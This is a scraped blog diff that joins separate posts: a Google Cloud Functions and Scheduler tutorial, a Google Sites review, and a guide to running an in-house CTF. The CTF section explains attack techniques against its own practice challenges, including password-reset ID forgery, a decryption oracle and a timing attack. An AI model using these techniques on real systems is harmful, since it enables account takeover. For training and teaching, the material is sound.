Authentication: Depending on your needs, I want to be able to execute the script from an external link, so I choose “Allow unauthenticated invocations”; if you choose to require authentication, the Scheduler service will also need corresponding settings.

Variables, network, and advanced settings can be set in the variables section for Python to use (this way, if parameters change, you don’t need to modify the Python code):

How to call in Python:

1
+2
+3
+4
+
import os
+
+def main(request):
+  return os.environ.get('test', 'DEFAULT VALUE')
+

No need to change other settings, just “Save” -> “Next”.

  • Select “Python 3.x” as the runtime and paste the written Python script, changing the entry point to “main”.

Supplement main(args), as mentioned earlier, this service is more used for serverless web; so args are actually Request objects, from which you can get http get query and http post body data, as follows:

1
+2
+
Get GET Query information:
+request_args = args.args
+

example: ?name=zhgchgli => request_args = [“name”:”zhgchgli”]

1
+2
+
Get POST Body data:
+request_json = request.get_json(silent=True)
+

example: name=zhgchgli => request_json = [“name”:”zhgchgli”]

If testing POST with Postman, remember to use “Raw+JSON” POST data, otherwise, nothing will be received:

  • After the code part is OK, switch to “requirements.txt” and enter the dependencies used:

We use the “requests” package to help us make API calls, which is not in the native Python library; so we need to add it here:

1
+
requests>=2.25.1
+

Here is the translated Markdown content:


Specify version ≥ 2.25.1 here, or just enter requests to install the latest version.

  • Once everything is OK, click “Deploy” to start the deployment.

It takes about 1-3 minutes to complete the deployment.

  • After the deployment is complete, you can go to the “ Trigger URL “ noted earlier to check if it is running correctly, or use “Actions” -> “Test Function” to test it.

If 500 Internal Server Error appears, it means there is an error in the program. You can click the name to view the “Logs” and find the reason:

1
+
UnboundLocalError: local variable 'db' referenced before assignment
+
  • After clicking the name, you can also click “Edit” to modify the script content.

If the test is fine, it’s done! We have successfully moved the Python script to the cloud.

Additional Information about Variables

According to our needs, we need a place to store and read the token of the check-in APP; because the token may expire, it needs to be re-requested and written for use in the next execution.

To dynamically pass variables from the outside to the script, the following methods are available:

  • [Read Only] As mentioned earlier, runtime environment variables
  • [Temp] Cloud Functions provides a /tmp directory for writing and reading files during execution, but it will be deleted after completion. For details, please refer to the official documentation.
  • [Read Only] GET/POST data transmission
  • [Read Only] Include additional files

In the program, using the relative path ./ can read it, only read, cannot dynamically modify; to modify, you can only do it in the console and redeploy.

To read and dynamically modify, you need to connect to other GCP services, such as: Cloud SQL, Google Storage, Firebase Cloud Firestore…

  • [Read & Write] Here I choose Firebase Cloud Firestore because it currently has a free quota for use.

According to the Getting Started Guide, after creating the Firebase project, enter the Firebase console:

Find “ Cloud Firestore “ in the left menu -> “ Add Collection

Enter the collection ID.

Enter the data content.

A collection can have multiple documents, and each document can have its own field content; it is very flexible to use.

In Python:

First, go to GCP Console -> IAM & Admin -> Service Accounts, and follow the steps below to download the authentication private key file:

First, select the account:

Below, “Add Key” -> “Create New Key”

Select “JSON” to download the file.

Place this JSON file in the same directory as the Python project.

In the local development environment:

1
+
pip install --upgrade firebase-admin
+

Install the firebase-admin package.

In Cloud Functions, add firebase-admin to requirements.txt.

Once the environment is set up, we can read the data we just added:

firebase_admin.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
import firebase_admin
+from firebase_admin import credentials
+from firebase_admin import firestore
+
+if not firebase_admin._apps:
+  cred = credentials.Certificate('./authentication.json')
+  firebase_admin.initialize_app(cred)
+# Because initializing the app multiple times will cause the following error
+# providing an app name as the second argument. In most cases you only need to call initialize_app() once. But if you do want to initialize multiple apps, pass a second argument to initialize_app() to give each app a unique name.
+# So to be safe, check if it is already initialized before calling initialize_app
+
+db = firestore.client()
+ref = db.collection(u'example') // Collection name
+stream = ref.stream()
+for data in stream:
+  print("id:"+data.id+","+data.to_dict())
+

If you are on Cloud Functions, you can either upload the authentication JSON file together or change the connection syntax as follows:

1
+2
+3
+4
+5
+6
+
cred = credentials.ApplicationDefault()
+firebase_admin.initialize_app(cred, {
+  'projectId': project_id,
+})
+
+db = firestore.client()
+

If you encounter Failed to initialize a certificate credential., please check if the authentication JSON is correct.

For more operations like adding or deleting, please refer to the official documentation.

4. Set up automatic scheduling in Google Cloud

After having the script, the next step is to make it run automatically to achieve our final goal.

  • Enter the basic job information

Execution frequency: Same as crontab input method. If you are not familiar with crontab syntax, you can directly use crontab.guru this amazing website:

It can clearly translate the actual meaning of the syntax you set. (Click next to see the next execution time)

Here I set 15 1 * * *, because the check-in only needs to be executed once a day, set to execute at 1:15 AM every day.

URL part: Enter the “ trigger URL “ noted earlier

Time zone: Enter “Taiwan”, select Taipei Standard Time

HTTP method: According to the previous Python code, we use Get

If you set “authentication” earlier remember to expand “SHOW MORE” to set up authentication.

After filling everything out, press “ Create “.

  • After successful creation, you can choose “Run Now” to test if it works properly.

  • You can view the execution results and the last execution date

⚠️ Please note that the execution result “failure” only refers to web status codes 400~500 or errors in the Python program.

All Done!

We have achieved the goal of uploading the routine task Python script to the cloud and setting it to run automatically.

Pricing

Another very important part is the pricing; Google Cloud and Linebot are not completely free services, so understanding the pricing is crucial. Otherwise, for a small script, paying too much money might not be worth it compared to just running it on a computer.

Linebot

Refer to the official pricing information, which is free for up to 500 messages per month.

Google Cloud Functions

Refer to the official pricing information, which includes 2 million invocations, 400,000 GB-seconds, 200,000 GHz-seconds of compute time, and 5 GB of internet egress per month.

Google Firebase Cloud Firestore

Refer to the official pricing information, which includes 1 GB of storage, 10 GB of data transfer per month, 50,000 reads per day, and 20,000 writes/deletes per day; sufficient for light usage!

Google Cloud Scheduler

Refer to the official pricing information, which allows 3 free jobs per account.

The above free quotas are more than enough for the script!

Google Cloud Storage Conditional Free Usage

Despite all efforts, some services might still incur charges.

After creating Cloud Functions, two Cloud Storage instances will be automatically created:

If you chose US-WEST1, US-CENTRAL1, or US-EAST1 for Cloud Functions, you can enjoy free usage quotas:

I chose US-CENTRAL1, and you can see that the first Cloud Storage instance is indeed in US-CENTRAL1, but the second one is labeled Multiple regions in the US; I estimate this one will incur charges.

Refer to the official pricing information, which varies by region.

The code isn’t large, so I estimate the minimum charge will be around 0.0X0 per month (?)

⚠️ The above information was recorded on 2021/02/21, and the actual prices may vary. This is for reference only.

Budget Control Notifications

Just in case… if the usage exceeds the free quota and starts incurring charges, I want to receive notifications to avoid unexpectedly high bills due to program errors.

  • Go to the Console
  • Find the “ Billing “ Card:

Click “View Detailed Deduction Records” to enter.

  • Expand the left menu and enter the “Budget and Alerts” feature.

  • Click on the top “Set Budget

  • Enter a custom name

Next step.

  • Amount, enter “Target Amount”, you can enter $1, $10; we don’t want to spend too much on small things.

Next step.

Here you can set the action to trigger a notification when the budget reaches a certain percentage.

CheckSend alerts to billing administrators and users via email”, so that when the condition is triggered, you will receive a notification immediately.

Click “Finish” to submit and save.

When the budget is exceeded, we can know immediately to avoid incurring more costs.

Summary

Human energy is limited. In today’s flood of technological information, every platform and service wants to extract our limited energy. If we can use some automated scripts to share our daily lives, we can save more energy to focus on important things!

Further Reading

If you have any questions or comments, feel free to contact me.

If you have any automation-related optimization needs, feel free to commission me. Thank you.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup

Revealing a Clever Website Vulnerability Discovered Years Ago

diff --git a/posts/724a7fb9a364/index.html b/posts/724a7fb9a364/index.html new file mode 100644 index 0000000000..da46ddd2d6 --- /dev/null +++ b/posts/724a7fb9a364/index.html @@ -0,0 +1 @@ + Is it Still Up-to-Date to Build a Personal Website Using Google Site? | ZhgChgLi
Home Is it Still Up-to-Date to Build a Personal Website Using Google Site?
Post
Cancel

Is it Still Up-to-Date to Build a Personal Website Using Google Site?

Is it Still Up-to-Date to Build a Personal Website Using Google Site?

New Google Site Personal Website Building Experience and Setup Tutorial

Update 2022–07–17

Currently, I have used my self-written ZMediumToMarkdown tool to package and download Medium articles and convert them to Markdown format, migrating to Jekyll.

[zhgchg.li](http://zhgchg.li){:target="_blank"}

zhgchg.li

===

Origin

Last year, when I changed jobs, I “extravagantly” registered a domain name to serve as a personal resume link; after half a year, I thought of making the domain more useful by adding more information. On the other hand, I was also looking for a second website to back up the articles published on Medium, just in case.

Desired Features

  • Customizable pages
  • Smooth writing interface like Medium
  • Interactive features (like/comment/follow)
  • Good SEO structure
  • Lightweight and fast loading
  • Ability to bind to own domain
  • Low intrusiveness (ad intrusiveness, site branding)
  • Easy to set up

Site Options

  1. Self-hosted WordPress A long time ago, I rented a host and domain and used WordPress to build a personal website; from setup to adjusting to my preferred layout, installing plugins, and even developing missing plugins myself, I had no energy left to write. Moreover, it felt cumbersome, and the loading speed/SEO was not as good as Medium. Spending more time fine-tuning it would leave me with even less energy to write.
  2. Matters/Jianshu, etc. Similar to the Medium platform, but since I’m not considering monetization, it’s not suitable.
  3. wix/weebly are too commercial-oriented, and the free version is too intrusive
  4. Google Site (this article)
  5. Github Pages + Jekyll
  6. Still looking »> Suggestions are welcome

About Google Site

Around 2010, I used the old version of Google Site to create a personal website -> file download center page; the impression is a bit vague, but I remember the layout was cumbersome, and the interface was not smooth. After 10 years, I thought this service had been discontinued. I accidentally saw a domain investor using it to create a domain parking page with contact information for sale:

At first glance, I thought, “Wow! The visuals are nice, they even made a page to sell the domain.” Upon closer inspection of the bottom left corner, I realized, “Wow! It’s built with Google Site,” which is vastly different from the interface I used 10 years ago. After checking, I found out that Google Site had not been discontinued; instead, a new version was launched in 2016. Although it’s been almost five years since then, at least the interface is up-to-date!

Finished Product Showcase

Before saying anything else, let’s take a look at the finished product I made. If you also “feel the same,” you might consider giving it a try!

[Home](https://www.zhgchg.li/home){:target="_blank"}

Home

[Personal Resume Page](https://www.zhgchg.li/about){:target="_blank"}

Personal Resume Page

[City Corner (Waterfall Photo Display)](https://www.zhgchg.li/photo){:target="_blank"}

City Corner (Waterfall Photo Display)

[Article Directory (Link to Medium)](https://www.zhgchg.li/dev/ios){:target="_blank"}

Article Directory (Link to Medium)

[Contact Me (Embedded Google Form)](https://www.zhgchg.li/contact){:target="_blank"}

Contact Me (Embedded Google Form)

Why Not Give It a Try?

To save reading time, I’ll get straight to the point; I’m still looking for a more suitable service option. Although it is continuously maintained and updated, Google Site has several critical shortcomings that are important to me. Here are the fatal flaws I encountered while using it.

Fatal Flaws

  1. Code Highlighting Function Defect The function only shows Code Block with gray background without color changes. If you want to embed Gist, you can only use Embed JavaScript (iframe), but Google Site does not handle it well. The height cannot change with page scaling, resulting in either too much blank space or two scroll bars on small mobile screens, which is very ugly and hard to read.
  2. SEO Structure is Basically Zero “Surprised? Not really.” Google’s own service has an SEO structure like 💩. It doesn’t allow customization of any head meta (description/tag/og:). Forget about SEO ranking; just pasting your site link on Line/Facebook and having no preview information, only an ugly URL and site name, is already bad enough.

Advantages

1. Low Intrusiveness, only a floating exclamation mark at the bottom left that shows “Google Collaboration Platform Report Abuse” when clicked

2. Easy-to-use Interface, quickly create pages by dragging components on the right

Similar to wix/weebly or cakeresume? Just drag and fill in the components to complete the layout!

3. Supports RWD, built-in search, navigation bar

4. Supports Landing Page

5. No special traffic limits, capacity depends on the creator’s Google Drive limit

6. 🌟 Can bind to your own domain

7. 🌟 Can directly integrate GA for visitor analysis

8. Official Community collects feedback and continuously maintains updates

9. Supports announcement notifications

10. 🌟 Seamlessly embeds YouTube, Google Forms, Google Slides, Google Docs, Google Calendar, Google Maps, and supports RWD for desktop/mobile browsing

11. 🌟 Page content supports JavaScript/Html/CSS embedding

12. Clean and simple URLs (http://example.com/page-name/subpage-name), customizable page path names

13. 🌟 Page layout has reference lines/auto-alignment, very considerate

Reference alignment lines appear when dragging components

Reference alignment lines appear when dragging components

Applicable Websites

I think Google Site is only suitable for very lightweight web services, such as school clubs, small event websites, personal resumes.

Some Setup Tutorials

List some problems I encountered and solved during use; everything else is WYSIWYG operations, nothing much to record.

How to bind a personal domain?

1. Go to http://google.com/webmasters/verification 2. Click “ Add a property “ and enter “ Your domain “ then click “Continue”

3. Choose your “ Domain name provider “ and copy the “ DNS verification string

4. Go to your domain name provider’s website (Here we use Namecheap.com as an example, others are similar)

In the DNS settings section, add a new record, select “ TXT Record “ as the type, enter “ @ “ as the host, and enter the DNS verification string you just copied as the value, then click add to submit.

Add another record, select “ CNAME Record “ as the type, enter “ www (or the subdomain you want to use) “ as the host, and enter “ ghs.googlehosted.com. “ as the value, then click add to submit.

Additionally, you can also redirect http://zhgchg.li -> http://www.zhgchg.li

After setting this up, you need to wait a bit… waiting for the DNS records to take effect…

5. Go back to Google Master and click verify

If you see “Verification failed” don’t worry! Please wait a bit longer, if it still doesn’t work after an hour, go back and check if there are any mistakes in the settings.

Successfully verified domain ownership

Successfully verified domain ownership

6. Go back to your Google Site settings page

Click the top right “ Gear (Settings) “ and select “ Custom URLs “, enter the domain name you want to assign, or the subdomain you want to use, and click “ Assign “.

After successfully assigning, close the settings window and click the top right “ Publish “ to publish.

Again, you need to wait a bit… waiting for the DNS records to take effect…

7. Open a new browser and enter the URL to see if it can be accessed normally

If you see “This site can’t be reached” don’t worry! Please wait a bit longer, if it still doesn’t work after an hour, go back and check if there are any mistakes in the settings.

Done!

Subpages, Page Path Settings

Subpages will automatically gather and display in the navigation menu

Subpages will automatically gather and display in the navigation menu

How to set it up?

Switch to the “Pages” tab on the right.

You can add a page and drag it under an existing page to make it a subpage, or click “…” to operate.

Select properties to customize the page path.

Enter the path name (EX: dev -> http://www.zhgchg.li/dev)

1. Header Settings

Hover over the navigation bar and select “ Add Header

After adding the header, hover over the bottom left corner to change the image, enter the title text, and change the header type.

2. Footer Settings

Hover over the bottom of the page and select “ Edit Footer “ to enter footer information.

Note! Footer information is shared across the entire site, and the same content will be applied to all pages!

You can also click the “eye” icon in the bottom left corner to control whether to display the footer information on this page.

Set Website Favicon, Header Name, and Icon

favicon

favicon

Website Title, Logo

Website Title, Logo

How to set it?

Click the “ Gear (Settings) “ in the top right corner and select “ Brand Images “ to set it. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!

Last Updated Information

Last Updated Information

**Page Anchor Link Tips**

Page Anchor Link Tips

How to set it?

Click the “ Gear (Settings) “ in the top right corner and select “ Viewer Tools “ to set it. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!

Integrate GA Traffic Analysis

1. Go to https://analytics.google.com/analytics/web/?authuser=0#/provision/SignUp to create a new GA account

2. Copy the GA Tracking ID after creation

3. Return to your Google Site settings page

Click the “ Gear (Settings) “ in the top right corner and select “ Analytics “ to enter the “ GA Tracking ID “. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!

Set Site-wide/Homepage Banner Announcement

Banner Announcement

Banner Announcement

How to set it?

Click the “ Gear (Settings) “ in the top right corner and select “ Announcement Banner “ to set it. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!

You can specify the banner message content, color, button text, link to click, whether to open in a new tab, and set it to display site-wide or only on the homepage.

Publish Settings

Top right "Publish ▾"

Top right “Publish ▾”

You can review changes and publish them.

You can set whether to allow search engines to index and disable the content review page before each publish.

Embed Javascript/HTML/CSS, Bulk Images

Gist as an example

Gist as an example

But as mentioned in the fatal flaw above, embedding an iframe cannot respond to the height according to the webpage size.

How to insert?

Select "Embed"

Select “Embed”

Choose embed code

Choose embed code

You can enter JavaScript/HTML/CSS to create custom styled Button UI.

Additionally, selecting “Image” allows you to insert multiple images, which will be displayed in a waterfall flow (as seen on my City Corner page).

Embedded Google Forms cannot be filled out directly on the page?

This is because the form contains a “ file upload “ item, which cannot be embedded in other pages using an iframe due to browser security issues; thus, it only shows the survey information and requires clicking the fill button to open a new window to complete the form.

The solution is to remove the file upload item, allowing the form to be filled out directly on the page.

Button component URLs cannot include anchor points

EX: #lifesection, I want to place it at the top of the page for a table of contents or at the bottom for a GoTop button.

According to the official community, this is currently not possible. The button link can only 1. open an external link in a new window or 2. specify an internal page. Therefore, I later used subpages to split the directory.

Further Reading

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Real-world Decode Issues with Codable

Real-World Codable Decoding Issues (Part 2)

diff --git a/posts/729d7b6817a4/index.html b/posts/729d7b6817a4/index.html new file mode 100644 index 0000000000..db8b5047d1 --- /dev/null +++ b/posts/729d7b6817a4/index.html @@ -0,0 +1,7 @@ + How to Create an Engaging Engineering CTF Competition | ZhgChgLi
Home How to Create an Engaging Engineering CTF Competition
Post
Cancel

How to Create an Engaging Engineering CTF Competition

How to Create an Engaging Engineering CTF Competition

Building and brainstorming for Capture The Flag competitions

About CTF

Capture The Flag, abbreviated as CTF, is a game originating from the West, commonly seen in paintball and first-person shooter games. The basic concept involves teams protecting their own flag while trying to capture the opponent’s flag. Applied to the field of computing, it becomes an “attack and defense” game where teams find and protect their vulnerabilities while attempting to exploit others to gain points.

The above describes a standard or even “advanced” CTF competition. However, running a CTF competition within a company involves additional practical considerations:

  1. The purpose of holding a CTF competition is not only to enhance technical skills but also to promote interaction among engineers.
  2. Engineers have different specialties, such as Front-End, Back-End, APP, and DevOps. To encourage participation, the questions should not be too focused on a specific field (e.g., networking, PHP).
  3. Teams should be balanced in terms of strength and expertise.
  4. The event should last no more than an afternoon.
  5. Organizing a CTF competition is a side project outside of main job responsibilities, with limited resources and time.

Considering these factors, rather than calling it a CTF competition, it is more like:

A team-based puzzle-solving event to accumulate flag points and promote interaction among engineers

This is an introductory-level CTF competition!

Event Goals

  1. Enhance technical skills
  2. Promote interaction among engineers
  3. Stimulate enthusiasm and sensitivity for exploration
  4. Fun, because doing boring things is painful

Items 3 and 4 are my personal additions. My expectation for this event is not just practical; I hope to enhance everyone’s enthusiasm for exploring and learning new things in a fun way, just like in daily work. We shouldn’t just be code monkeys but should strive for self-improvement and continuous progress!

Competition Rules

  1. Engineers are divided into teams based on their specialties and strengths.
  2. Competition time: 90 minutes
  3. There are 12 questions in total, with 3 opportunities to buy hints at the cost of points.
  4. The cost of buying hints decreases over time (the earlier you buy, the more expensive).
  5. Each question has a base score + time score (the earlier you solve, the more points).
  6. Once a question is chosen, the team is locked into answering that question or any previously opened questions until it is solved or the lock time expires. (This rule is to encourage team members to brainstorm together rather than dividing tasks.)
  7. Each question’s score, hint cost, and lock time vary based on difficulty.
  8. Victory condition: The team with the highest accumulated score wins. If scores are tied, the team with the faster solving time wins.
  9. The winning team gets a prize.

How to Create?

After clarifying the event rules and goals, the next major task is how to create a CTF competition.

This part will be explained in two chapters: First, building a system to conduct the CTF competition, and Second, brainstorming competition questions.

1. Building a System to Conduct the CTF Competition

This part requires knowledge of both front-end and back-end technologies. If you’re not familiar, you may need to ask colleagues for help.

Front-end: Semantic UI

Back-end: PHP + JSON files for data storage

Due to limited time, the competition system should be simple, stable, and quick to set up. The front-end interface uses the Semantic UI framework. The back-end is written in PHP without using a framework, and data is stored in JSON files instead of a database. This simplicity reduces potential issues (e.g., someone trying to hack the competition system to get answers).

Entry Page:

To make it fun, the entry page uses a reference from the BBC series Sherlock:

Phone unlock code S H E R

Phone unlock code S H E R

These four input boxes are for entering the team’s identification code (4 digits), e.g., Team 1: “1432”, Team 2: “8421”, to identify the team answering the questions.

As for the identification codes for each group, I have added a little twist. The identification codes are presented as follows:

Can you see the four-digit identification code? If not, please step back from the screen and take another look.

…….

……………

…………………

………………………

…………………………….

………………………………….

……………………………. .

……………………….

………………. .

…………

…….

. .

Answer: The identification code for the first group is 8291

After entering, you will be taken to the competition system homepage - the question list:

Top display: Team 1 group, remaining hint tickets

Middle question area: Question name, description, score for passing, lock time, purchase hints, hint display

Hovering the mouse will show time score, hint price

Hovering the mouse will show time score, hint price

Bottom display: Total current score

Backend and other logic: The question list page will use Ajax to request the current answering status from the backend every second. The backend reads and records the answering status in the JSON file for each group. When unlocking a question, the time will be recorded. If the time has not arrived, other questions cannot be unlocked. When a question is answered correctly, the completion time, time score, and hint price will be written. The hint price will increase or decrease depending on the time spent.

The competition system is roughly like this, but the focus is not on the competition system, but on the questions themselves!

Whether it is interesting, whether everyone can participate, whether it has logic, whether it is novel… it is really hard to come up with

Let’s get to the point!

2. The conception of competition questions

First, let me introduce the 5 questions I came up with

1. The Gate to the Magic Academy

Question description: You will get a string of keys and need to find a way to use this key to solve the spell and enter it in the spell input box. There is a captcha field below that needs to be entered. Click verify to answer the question.

Answer:

This question tests security and encoding issues. It involves the use of encryption and decryption vulnerabilities in the platform. If all encryption and decryption on the website use the same method and key, we can use this weakness to decrypt the content and obtain the original data!

You can see that the captcha part is ./image.php?token=AD0HbwdgVDw= which provides a decryption interface. So we can try to input the encrypted key above:

You can get the decrypted string: LiveALifeYouWillRemember

Enter it into the spell input box to pass!

2. Please take me back to Shanghai in 1937!

Question description: You need to find a way to input the year/month/day and send it to the backend, making the backend recognize it as 1937. The year input range (1947~2099) cannot directly input 1937.

Answer:

This question is not about bypassing the frontend judgment because the backend handles it, so it cannot be bypassed. This question mainly tests the Year 2038 problem on 32-bit computers. Due to the bit limit, the 32-bit timestamp can only display up to January 19, 2038, 03:14:07. After that, it will overflow back to January 1, 1901. Therefore, by calculating backward, inputting 2073-02-06 to 2074-02-05 will fall in 1937. Inputting a date within this range will be successfully sent!

[Wikipedia](https://zh.wikipedia.org/wiki/2038%E5%B9%B4%E9%97%AE%E9%A2%98#/media/File:Year_2038_problem.gif){:target="_blank"}

Wikipedia

3. Catch Me If You Can

Problem Description: You need to find a way to receive a password reset email for a third-party email account (one you cannot log into) and complete the password reset for someone else.

Solution:

This problem requires more sensitivity. First, use an email account you can receive emails with to request a password reset; the email we receive is as follows:

1
+
Your password reset link: http://ctf.zhgchg.li/10/reset.php?requestid=OTk= If this is not related to you, please ignore this email, thank you!
+

We can see that the password reset request is identified through the requestid parameter. The value we get is OTk=, which looks like base64? Let’s try it:

[base64 decode and encode](https://www.base64decode.org/){:target="_blank"}

base64 decode and encode

We can get the value of the parameter as 99. Requesting a password reset again gives us 100, so we can infer that the password reset request is sequential. The next number is 101. At this point, go back to the email account you want to bypass and request a password reset. We can then forge a password reset link and secretly reset someone else’s password.

Encode 101 to Base64 => MTAx, forge the URL: http://ctf.zhgchg.li/10/reset.php?requestid=MTAx, enter any password and click reset to pass!

4. Alias Master

Problem Description: You need to generate 10 sets of Gmail accounts (Gmail hosted mailboxes) to receive the answer email.

Solution:

This problem can certainly be brute-forced, but company emails cannot be registered at will; unless you find 10 people to help you receive emails, you cannot solve it.

The key to this problem is Gmail accounts/Gmail hosted mailboxes. Since company emails are Gmail hosted mailboxes, they also have the characteristics of Gmail accounts: you can use “.” and “+” to create unlimited alias accounts. “.” can be placed anywhere in the account, and “+” can be placed at the end followed by any number.

For example, the main email is zhgchgli@gmail.com, but z.hgchgli@gmail.com, zh.gchgli@gmail, zhgchgli+1@gmail.com, zhgchgli+25@gmail.com… will all be sent to the main email zhgchgli@gmail.com. One email can create multiple identities!

This problem mainly reminds everyone to filter out these characters when registering accounts to prevent malicious people from registering a large number of fake accounts.

After receiving 10 emails, you can combine them to find the URL of the answer. Enter the URL to pass!

5. Time Machine

Problem Description: Similar to Problem 3, you need to find a way to receive a 4-digit SMS verification code for a third-party phone number (one you cannot receive SMS for) and complete the login for someone else’s account.

Solution:

This problem is relatively obscure and difficult, mainly simulating a side-channel timing attack. The system login verification includes complex algorithms, and there will be a time difference when processing verification information (for example, if you enter one correct digit, it takes longer to process. If all are wrong, it returns immediately). By observing these time differences, we start from 0000 and try one digit at a time. When we try 2000, it takes one second to process, so we know the first digit is 2. Continue trying 2100, still one second, 2200 takes even longer, two seconds… Continue trying the third and fourth digits, and finally, we get the answer 2256.

This problem only simulates this type of attack. The backend processing directly uses sleep to simulate, not actually having complex algorithms. Generally, this type of attack is rarely encountered in web pages or apps; one reason is that the processing information is not complex enough to have a significant time difference, and another reason is the influence of network factors, making it difficult to judge.

For more details on side-channel attacks, you can refer to this article:

[30 Minutes to Understand What CORB Is — Side-Channel Attacks](https://segmentfault.com/a/1190000016126079){:target="_blank"}

Understand CORB in 30 Minutes — Side-Channel Attacks

The above are the 5 questions I came up with. Below, I will continue to introduce the remaining 7 questions provided by my colleagues.

1. Sadako Appearance

Sadako image sourced from the internet

Sadako image sourced from the internet

Question Description: The question is just a picture of Sadako. You need to enter what Sadako wants to say in the dialogue box above to pass.

Answer:

This question tests whether you know the concept of embedding other information in an image. The key lies in the original image:

Sadako image sourced from the internet

Sadako image sourced from the internet

This image has secretly compressed a text file inside it (for the actual method, please refer to: How To Hide A ZIP File Inside An Image On Mac [Quicktip], note the Win/Mac issue here).

So we just need to simply unzip this image to get the passphrase:

Enter “YOUHAVENOIDEA” in the input box to pass!

Supplement:

Regarding hiding information in images, there is another method, using “ Steganography

[Steganography and Malware: Principles and Methods](https://blog.trendmicro.com.tw/?p=12510){:target="_blank"}

Steganography and Malware: Principles and Methods

In simple terms, it hides information by manipulating the color values of pixel color codes. The actual image has changed, but the naked eye cannot distinguish it.

This question also has hidden codes in the image to prevent people from going in this direction. Those who follow this path can get a hint:

[Steganography Online](https://stylesuxx.github.io/steganography/){:target="_blank"}

Steganography Online

Upload the image to an online steganography decoding tool to get the hint.

2. Caesar’s Morse Code

Image sourced from the internet

Image sourced from the internet

Question Description: Try to decipher the meaning of the Morse code provided in the question (a sentence in English).

Answer:

This question is quite straightforward. The first step is to decode the Morse code into English letters “ VYYXI DN HT GDAZ

[Morse Code Translator](https://mathsking.net/morse.htm){:target="_blank"}

Morse Code Translator

Then perform Caesar cipher decryption. When we try a shift of 5, we get a meaningful English sentence “ addcn is my life”, which is the answer!

[Caesar Cipher Decryption Tool](http://ctf.ssleye.com/caesar.html){:target="_blank"}

Caesar Cipher Decryption Tool

3. What do you think it is?

Opening this question’s webpage shows a bunch of garbled text, as follows:

1
+
ZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFtSUFBQUIrQ0FZQUFBQ0gzWDB2QUFBS3cybERRMUJKUTBNZ1VISnZabWxzWlFBQVNJbVZsd2RVazFrV3g5LzNwVGRhQWdKU1F1OUlyMUpDYUFHVVhtMkVKSkJRWWt3SUFuWmtjQVRHZ29vSWxnRWRCRkZ3TElDTUJiRmdZVkN3Z0hXQ0RBcktPRmdRRlpYOWdDWE03SjdkUFh0ejN2Zjl6ai8zM1hmdk8rL2wzQUJBSWJORm9uUllDWUFNWWFZNElzQ0hIaGVmUU1mMUF3akFnQUJvd0pMTmtZZ1lZV0VoQUxHWjk5L3R3MzNFRzdFN1ZwT3gvdjM3LzJyS1hKNkVBd0FVaG5BU1Y4TEpRUGdVTXQ1eVJPSk1BRkExaUc2d01sTTB5UjBJMDhSSWdnakxKamxsbXQ5UGN0SVVvL0ZUUGxFUlRJUzFBTUNUMld4eENnQmtVMFNuWjNGU2tEamtRSVJ0aEZ5QkVPRnNoRDA1ZkRZWDRXYUVMVE15bGsveTd3aWJKdjBsVHNyZllpYkpZN0xaS1hLZXJtWEs4TDRDaVNpZG5mTi9ic2YvdG94MDZjd2F4c2dnODhXQkVjaGJFOW16M3JUbHdYSVdKaTBNbldFQmQ4cC9pdm5Td09nWjVraVlDVFBNWmZzR3krZW1Md3laNFdTQlAwc2VKNU1WTmNNOGlWL2tESXVYUjhqWFNoWXpHVFBNRnMrdUswMkxsdXQ4SGtzZVA1Y2ZGVHZEV1lLWWhUTXNTWXNNbnZWaHluV3hORUtlUDA4WTRETzdycis4OWd6Slgrb1ZzT1J6TS9sUmdmTGEyYlA1ODRTTTJaaVNPSGx1WEo2djM2eFB0TnhmbE9ralgwdVVIaWIzNTZVSHlIVkpWcVI4YmlaeUlHZm5oc24zTUpVZEZEYkRJQVl3Z0IzeXNVY0dIVVFDSGhBREFmSkVhc25rWldkT0ZzUmNMc29SQzFMNG1YUUdjdE40ZEphUVkyMUp0N094ZFFWZzh0NU9INHQzdlZQM0VWTER6Mm81VzVCanJvQ0l3N05hckNFQXh3WUIwSGc5cXhrakdvMElRRk1FUnlyT210YlFrdzhNSUFKRjVQZEFBK2dBQTJBS3JKQXNuWUE3OEFaK0lBaUVnaWdRRDVZQ0R1Q0REQ1R2bFdBMTJBQUtRQkhZQm5hQmNuQUFIQVExNEJnNEFackFXWEFSWEFVM3dXMXdEendDTWpBQVhvRVI4QUdNUXhDRWd5Z1FGZEtBZENFanlBS3lnMXdnVDhnUENvRWlvSGdvRVVxQmhKQVVXZzF0aElxZ0VxZ2Nxb1Jxb1oraE05QkY2RHJVQlQyQStxQWg2QzMwR1ViQlpKZ0dhOFBHOER6WUJXYkF3WEFVdkFST2dWZkF1WEErdkFVdWc2dmdvM0FqZkJHK0NkK0RaZkFyZUJRRlVDU1VHa29QWllWeVFURlJvYWdFVkRKS2pGcUxLa1NWb3FwUTlhZ1dWRHZxRGtxR0drWjlRbVBSVkRRZGJZVjJSd2VpbzlFYzlBcjBXblF4dWh4ZGcyNUVYMGJmUWZlaFI5RGZNQlNNRnNZQzQ0WmhZZUl3S1ppVm1BSk1LYVlhY3hwekJYTVBNNEQ1Z01WaTFiQW1XR2RzSURZZW00cGRoUzNHN3NNMllGdXhYZGgrN0NnT2g5UEFXZUE4Y0tFNE5pNFRWNERiZ3p1S3U0RHJ4ZzNnUHVKSmVGMjhIZDRmbjRBWDR2UHdwZmdqK1BQNGJ2d0wvRGhCaVdCRWNDT0VFcmlFSE1KV3dpRkNDK0VXWVlBd1RsUW1taEE5aUZIRVZPSUdZaG14bm5pRitKajRqa1FpNlpOY1NlRWtBV2s5cVl4MG5IU04xRWY2UkZZaG01T1o1TVZrS1hrTCtUQzVsZnlBL0k1Q29SaFR2Q2tKbEV6S0Zrb3Q1UkxsS2VXakFsWEJXb0dsd0ZWWXAxQ2gwS2pRcmZCYWthQm9wTWhRWEtxWXExaXFlRkx4bHVLd0VrSEpXSW1weEZaYXExU2hkRWFwUjJsVW1hcHNxeHlxbktGY3JIeEUrYn